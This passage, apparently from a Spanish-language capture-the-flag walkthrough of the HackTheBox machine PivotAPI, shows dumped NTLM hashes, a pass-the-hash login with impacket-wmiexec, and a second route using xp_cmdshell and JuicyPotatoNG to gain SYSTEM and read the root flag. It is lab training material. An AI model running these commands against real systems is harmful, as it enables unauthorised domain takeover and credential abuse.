SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\ippsec:7606:aad3b435b51404eeaad3b435b51404ee:841840851c60fd28ca0cc2490288ea5f:::
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\0xdf:7607:aad3b435b51404eeaad3b435b51404ee:ec371925a952efcb9ccfc335b963aa6d:::
SMB         licordebellota.htb 445    PIVOTAPI         PIVOTAPI$:1004:aad3b435b51404eeaad3b435b51404ee:1774d3c67e7d9945c48ccb30d89a83bb:::

Finalmente usando psexec o wmiexec con el hash del usuario Administrador podemos mediante un passthehash obtener una powershell semi-interactiva

❯ impacket-wmiexec licordebellota.htb/Administrador@pivotapi.licordebellota.htb -hashes :105394e5d4f382f74c50871445a3ab8d -shell-type powershell  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
PS C:\> whoami
licordebellota\administrador

PS C:\> type C:\Users\cybervaca\Desktop\root.txt
d9a**************************ad7

PS C:\>


Extra 2 - Administrator


Otra forma es mediante xp_cmdshell ya que este usuario de servicio tiene habilitado el privilegio SeImpersonatePrivilege que nos permite suplantar a un usuario

SQL> xp_cmdshell whoami /priv

output                                                                             
--------------------------------------------------------------------------------   

INFORMACIÓN DE PRIVILEGIOS                                                         
--------------------------                                                         

Nombre de privilegio          Descripción                                       Estado       
============================= ================================================= =============  
SeAssignPrimaryTokenPrivilege Reemplazar un símbolo (token) de nivel de proceso Deshabilitado
SeIncreaseQuotaPrivilege      Ajustar las cuotas de la memoria para un proceso  Deshabilitado
SeMachineAccountPrivilege     Agregar estaciones de trabajo al dominio          Deshabilitado
SeChangeNotifyPrivilege       Omitir comprobación de recorrido                  Habilitada
SeManageVolumePrivilege       Realizar tareas de mantenimiento del volumen      Habilitada
SeImpersonatePrivilege        Suplantar a un cliente tras la autenticación      Habilitada
SeCreateGlobalPrivilege       Crear objetos globales                            Habilitada
SeIncreaseWorkingSetPrivilege Aumentar el espacio de trabajo de un proceso      Deshabilitado
                                                                            
SQL>

Como no tenemos conexion crearemos un archivo shell.bat que ejecutara el comando whoami y leera la flag, depositaremos el output en un archivo txt

whoami > C:\ProgramData\output.txt
type C:\Users\cybervaca\Desktop\root.txt >> C:\ProgramData\output.txt  

Usando JuicyPotatoNG.exe ejecutaremos el archivo shell.bat, este ejecutable nos ayudara a aprovechar este privilegio y suplantar a nt authority\system

SQL> xp_cmdshell C:\ProgramData\JuicyPotatoNG.exe -t * -p C:\ProgramData\shell.bat

output                                                                             
--------------------------------------------------------------------------------   

	 JuicyPotatoNG                                                                    
	 by decoder_it & splinter_code                                                    

[*] Testing CLSID {854A20FB-2D44-457D-992F-EF13785D2B51} - COM server port 10247    
[+] authresult success {854A20FB-2D44-457D-992F-EF13785D2B51};NT AUTHORITY\SYSTEM;Impersonation  
[+] CreateProcessAsUser OK                                                         
[+] Exploit successful!                                                            

SQL>

Despues de ejecutar el shell.bat nos crea un archivo en C:\ProgramData llamado output.txt que contiene el output de los comandos, en este archivo podemos ver que el output de whoami fue nt authority\system y la otra linea tiene la flag

SQL> xp_cmdshell type C:\ProgramData\output.txt

output
--------------------------------
nt authority\system
d9a**************************ad7

SQL>